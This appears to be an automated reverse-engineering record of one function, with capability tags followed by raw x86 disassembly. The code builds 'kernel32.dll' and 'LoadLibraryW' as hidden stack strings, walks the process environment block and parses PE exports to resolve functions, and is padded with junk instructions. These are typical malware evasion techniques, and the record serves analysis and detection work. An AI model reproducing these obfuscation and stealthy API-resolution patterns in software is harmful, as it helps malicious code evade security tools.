Function at 0x554112
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
add esp, 4
call 0x553d10
add byte [ebx + 0x49], cl
aas
aaa
dec ecx
inc ebx
dec esi
cmp eax, 0xc4833c39
add al, 0x5f
mov dword [ebp - 0x70], 0
jmp 0x554021
cmp dword [ebp - 0x70], 0
jne 0x554cd7
push eax
push eax
add esp, 4
xor eax, 0x623e
pop eax
push edx
push eax
add esp, 4
xor edx, 0x566a
pop edx
push edx
push ebx
add esp, 4
jmp 0x554050
xor edx, 0xe17e
or edx, 0x17a23
pop edx
mov ecx, 0x6b
mov word [ebp - 0x3d8], cx
mov edx, 0x65
mov word [ebp - 0x3d6], dx
mov eax, 0x72
mov word [ebp - 0x3d4], ax
mov ecx, 0x6e
mov word [ebp - 0x3d2], cx
mov edx, 0x65
mov word [ebp - 0x3d0], dx
mov eax, 0x6c
mov word [ebp - 0x3ce], ax
mov ecx, 0x33
xor eax, dword [eax]
add byte [eax], al
mov word [ebp - 0x3cc], cx
mov edx, 0x32
mov word [ebp - 0x3ca], dx
mov eax, 0x2e
mov word [ebp - 0x3c8], ax
mov ecx, 0x64
mov word [ebp - 0x3c6], cx
mov edx, 0x6c
mov word [ebp - 0x3c4], dx
mov eax, 0x6c
mov word [ebp - 0x3c2], ax
xor ecx, ecx
mov word [ebp - 0x3c0], cx
push ebx
xor ebx, 0x8fbd
sub ebx, 0x1644d
call 0x554112
add byte [eax], bh
xor esi, dword ds:[esi + esi]
push eax
cmp al, 0x33
xor al, 0x83
les eax, [ecx + eax*4]
jnp 0x5540a6
add byte [eax], al
pop ebx
push ecx
push ecx
add esp, 4
xor ecx, 0xd5be
pop ecx
mov byte [ebp - 0x164], 0x4c
mov byte [ebp - 0x163], 0x6f
mov byte [ebp - 0x162], 0x61
mov byte [ebp - 0x161], 0x64
mov byte [ebp - 0x160], 0x4c
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x62
mov byte [ebp - 0x15d], 0x72
mov byte [ebp - 0x15c], 0x61
mov byte [ebp - 0x15b], 0x72
mov byte [ebp - 0x15a], 0x79
mov byte [ebp - 0x159], 0x57
mov byte [ebp - 0x158], 0
push edi
push ebx
add esp, 4
xor edi, 0x2952
add edi, 0x3680
xor edi, 0x136f7
pop edi
push ecx
push ecx
add esp, 4
or ecx, 0x16ebf
xor ecx, 0xa100
jmp 0x5541b4
pop ecx
push ebx
sub ebx, 0x10b2
call 0x5541ca
add byte [ecx], bh
inc esp
inc ecx
inc eax
cmp byte [ecx + 0x3f], al
inc esi
add esp, 4
xor ebx, 0x173f
pop ebx
push esi
jmp 0x5541da
add esi, 0xe70d
and esi, 0x1435d
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x3fc], edx
push edx
add edx, 0xe322
pop edx
push esi
push edi
add esp, 4
xor esi, 0x14273
pop esi
push esi
push ebx
add esp, 4
add esi, 0xb5c7
or esi, 0x6f20
add esi, 0xeac5
add esi, 0xfcac
pop esi
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x400], ecx
push esi
push edx
add esp, 4
sub esi, 0xf130
sub esi, 0x18fa
and esi, 0x170ad
pop esi
push edx
and edx, 0xf683
pop edx
push edx
push edx
add esp, 4
jmp 0x554260
or edx, 0xf4d5
pop edx
mov edx, dword [ebp - 0x400]
mov dword [ebp - 0x2f8], edx
cmp dword [ebp - 0x2f8], 0
jne 0x5542bd
push edx
or edx, 0x13c6b
and edx, 0x15a19
pop edx
push edx
jmp 0x554292
call 0x5542a1
add byte [ebp + 0x48], al
inc ecx
xor al, 0x49
cmp dword [0xc483364c], edi
add al, 0xeb
pop es
aaa
inc edi
xor eax, 0x49344850
pop edx
mov dword [ebp - 0xec], 0
jmp 0x554652
push ebx
add ebx, 0x6d64
pop ebx
push ecx
add ecx, 0xad87
or ecx, 0x1ced
add ecx, 0x13e7c
pop ecx
push edx
push edx
add esp, 4
call 0x5542eb
add byte [edx], bh
cmp dword [eax], edi
dec ecx
inc edx
dec esi
aaa
add esp, 4
pop edx
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x244], edx
cmp dword [ebp - 0x244], 0
jne 0x55434b
push edx
xor edx, 0x837a
sub edx, 0x9b48
xor edx, 0xcd6f
pop edx
push edi
push edi
add esp, 4
and edi, 0x10b9d
and edi, 0x12404
jmp 0x554335
inc ecx
xor eax, dword [ebx + 0x4d]
and edi, 0x4c73
pop edi
mov dword [ebp - 0xec], 0
jmp 0x554652
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0xa4], eax
push ebx
push edi
add esp, 4
sub ebx, 0x124c1
pop ebx
push ebx
push esi
add esp, 4
call 0x554376
add byte [eax + 0x4a], al
dec edi
inc ebx
dec esi
dec ebp
cmp dword [eax - 0x7d], ecx
les eax, [ecx + eax*4]
jecxz 0x554331
jnp 0x55437e
add bl, ch
pop es
cmp al, 0x46
inc esi
xor edi, dword [0x8d5b3b3b]
lea ebp, [eax]
cld
invalid
cmp dword [ebp - 0xec], 0
jne 0x55469c
push eax
add eax, 0xa0d3
and eax, 0xd4cf
pop eax
push edx
push esi
add esp, 4
jmp 0x554673
pop edx
push ecx
push ebx
add esp, 4
call 0x554689
add byte [eax + 0x43], cl
dec ebx
push eax
aaa
xor eax, 0x4e503f41
add esp, 4
pop ecx
mov dword [ebp - 0x1bc], 0
jmp 0x55577e
mov edx, dword [ebp - 0xec]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0xfc], 0
push esi
jmp 0x5546bb
add esi, 0x80a4
and esi, 0x131d1
xor esi, 0x9dd0
pop esi
push esi
push ebx
add esp, 4
xor esi, 0x5acf
sub esi, 0xdae8
jmp 0x5546e6
pop esi
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x304], ecx
cmp dword [ebp - 0x304], 0
jne 0x55473f
push edi
push edi
add esp, 4
xor edi, 0x15dc3
pop edi
push ecx
push eax
add esp, 4
call 0x55471b
add byte [edi], dh
dec ebx
xor eax, 0x4b32483e
cmp al, 0x83
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
dec esi
dec ebx
dec ebx
push eax
xor eax, 0x4c48339
pop ecx
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], edx
jmp 0x554c2e
mov eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x84]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x308], ecx
jne 0x554767
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], edx
jmp 0x554c2e
push ebx
push edx
add esp, 4
or ebx, 0x534e
pop ebx
push ebx
xor ebx, 0x7225
pop ebx
push edi
push edi
add esp, 4
add edi, 0xfcf8
xor edi, 0x1c70
sub edi, 0x129ca
add edi, 0xe775
pop edi
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x308]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0
jne 0x5547fd
push ebx
call 0x5547c9
add byte [edi + 0x4f], al
dec edx
dec eax
aaa
inc ebp
add esp, 4
call 0x5547da
add byte [ecx + edi], bh
inc edx
dec ebp
xor al, 0x49
xor al, byte [ebx - 0x7d]
les eax, [ebx + ebx*2]
push edx
or edx, 0x15971
sub edx, 0xc5a9
pop edx
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0x94], ecx
jmp 0x554c2e
push ebx
or ebx, 0x86c1
call 0x554813
add byte [ebx], dh
cmp dh, byte [ebx]
aaa
inc edi
inc ebx
inc edi
dec edx
add esp, 4
jmp 0x55481c
call fcn.0055482b
add byte [esi], dh
dec esi
cmp esi, dword [ebx]
cmp eax, 0x37334d4f